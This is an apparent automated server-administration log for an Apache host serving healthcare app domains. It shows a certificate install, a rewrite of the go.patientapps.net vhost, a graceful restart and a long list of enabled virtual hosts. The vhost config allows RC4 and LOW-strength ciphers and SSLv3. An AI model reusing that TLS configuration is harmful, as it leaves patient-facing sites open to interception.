Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-24 06:01:24: 

chmod 755 /tmp/pkp601101; /tmp/pkp601101; rm /tmp/pkp601101

2026-04-24 06:01:24: 


dir=/etc/ssl/certs


2026-04-24 06:01:24: 

PUT: /tmp/pkp636760

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-24 06:01:24: 

chmod 755 /tmp/pkp636760; /tmp/pkp636760; rm /tmp/pkp636760

2026-04-24 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>






2026-04-24 06:01:24: 

PUT: /tmp/pkp264316

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi


2026-04-24 06:01:24: 

chmod 755 /tmp/pkp264316; /tmp/pkp264316; rm /tmp/pkp264316

2026-04-24 06:01:24: 




2026-04-24 06:01:24: 

PUT: /tmp/pkp584995

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-24 06:01:24: 

chmod 755 /tmp/pkp584995; /tmp/pkp584995; rm /tmp/pkp584995

2026-04-24 06:01:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:01:24: Establishing a connection
2026-04-24 06:01:24: 

PUT: /tmp/pkp804737

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-24 06:01:24: 

chmod 755 /tmp/pkp804737; /tmp/pkp804737; rm /tmp/pkp804737

2026-04-24 06:01:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
